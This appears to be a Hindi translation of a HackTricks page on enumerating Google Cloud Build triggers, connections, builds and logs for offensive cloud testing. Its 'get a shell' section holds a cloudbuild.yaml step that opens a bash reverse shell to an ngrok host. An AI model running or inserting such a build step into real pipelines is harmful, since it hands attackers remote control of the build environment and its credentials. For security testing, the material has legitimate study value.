GCP - Cloud Build Enum
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Basic Information
Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो सॉफ़्टवेयर निर्माण और रिलीज़ प्रक्रियाओं को स्वचालित करता है, स्रोत कोड रिपॉजिटरी के साथ एकीकृत होता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह डेवलपर्स को स्वचालित रूप से कोड बनाने, परीक्षण करने और तैनात करने की अनुमति देता है जबकि निर्माण चरणों और कार्यप्रवाहों को अनुकूलित करने की लचीलापन प्रदान करता है।
प्रत्येक Cloud Build Trigger एक Cloud Repository से संबंधित है या सीधे एक बाहरी रिपॉजिटरी (Github, Bitbucket और Gitlab) से जुड़ा हुआ है।
tip
मैं यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे https://source.cloud.google.com/ URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।
Events
Cloud Build को ट्रिगर किया जा सकता है यदि:
- एक शाखा पर पुश करें: शाखा निर्दिष्ट करें
- एक नया टैग पुश करें: टैग निर्दिष्ट करें
- पुल अनुरोध: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है
- मैनुअल इनवोकेशन
- Pub/Sub संदेश: विषय निर्दिष्ट करें
- Webhook घटना: एक HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए
Execution
यहाँ 3 विकल्प हैं:
- एक yaml/json कमांड को निर्दिष्ट करना जो निष्पादित किया जाना है। आमतौर पर:
/cloudbuild.yaml
- केवल एक जो वेब कंसोल और CLI में "इनलाइन" निर्दिष्ट किया जा सकता है
- सबसे सामान्य विकल्प
- प्रमाणीकरण रहित पहुंच के लिए प्रासंगिक
- एक Dockerfile बनाने के लिए
- एक Buildpack बनाने के लिए
SA Permissions
Service Account का cloud-platform
स्कोप है, इसलिए यह सभी विशेषाधिकारों का उपयोग कर सकता है। यदि कोई SA निर्दिष्ट नहीं है (जैसे जब सबमिट कर रहे हैं) तो डिफ़ॉल्ट SA <proj-number>@cloudbuild.gserviceaccount.com
का उपयोग किया जाएगा।
डिफ़ॉल्ट रूप से कोई अनुमतियाँ नहीं दी जाती हैं लेकिन इसे कुछ देना काफी आसान है:
.png)
Approvals
यह संभव है कि एक Cloud Build को निर्माण निष्पादन के लिए अनुमतियों की आवश्यकता के लिए कॉन्फ़िगर किया जाए (डिफ़ॉल्ट रूप से अक्षम)।
PR Approvals
जब ट्रिगर PR होता है क्योंकि कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है तो केवल किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा। इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल स्वामियों और सहयोगियों के लिए स्वचालित होगा, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को /gcbrun
टिप्पणी करनी होगी।
.png)
Connections & Repositories
कनेक्शन निम्नलिखित पर बनाए जा सकते हैं:
- GitHub: यह एक OAuth प्रॉम्प्ट दिखाएगा जो Github टोकन प्राप्त करने के लिए अनुमतियों के लिए पूछेगा जो Secret Manager के अंदर संग्रहीत किया जाएगा।
- GitHub Enterprise: यह एक GithubApp स्थापित करने के लिए पूछेगा। आपके GitHub Enterprise होस्ट से एक प्रमाणीकरण टोकन बनाया जाएगा और इसे इस प्रोजेक्ट में एक Secret Manager गुप्त के रूप में संग्रहीत किया जाएगा।
- GitLab / Enterprise: आपको API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन प्रदान करने की आवश्यकता है जो Secret Manager में संग्रहीत किया जाएगा।
एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है।
यह विकल्प बटन के माध्यम से उपलब्ध है:
.png)
tip
ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी केवल 2nd पीढ़ी का उपयोग करने वाले ट्रिगर्स में उपलब्ध हैं।
Connect a Repository
यह connection
के समान नहीं है। यह Github या Bitbucket रिपॉजिटरी तक पहुँच प्राप्त करने के विभिन्न तरीकों की अनुमति देता है लेकिन एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।
यह विकल्प बटन के माध्यम से उपलब्ध है:
.png)
Storage
कभी-कभी Cloud Build ट्रिगर के लिए फ़ाइलों को संग्रहीत करने के लिए एक नया स्टोरेज उत्पन्न करेगा। यह उदाहरण के लिए उस उदाहरण में होता है जो GCP प्रदान करता है:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
एक स्टोरेज बकेट जिसे security-devbox_cloudbuild कहा जाता है, एक .tgz
फ़ाइल को स्टोर करने के लिए बनाया गया है जिसमें उपयोग के लिए फ़ाइलें हैं।
शेल प्राप्त करें
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
ग्लाउड को क्लाउड बिल्ड के अंदर स्थापित करें:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Enumeration
आप बिल्ड कॉन्फ़िग्स और लॉग्स में संवेदनशील जानकारी पा सकते हैं।
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
विशेषाधिकार वृद्धि
बिना प्रमाणीकरण की पहुंच
GCP - Cloud Build Unauthenticated Enum
पोस्ट एक्सप्लोइटेशन
GCP - Cloud Build Post Exploitation
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।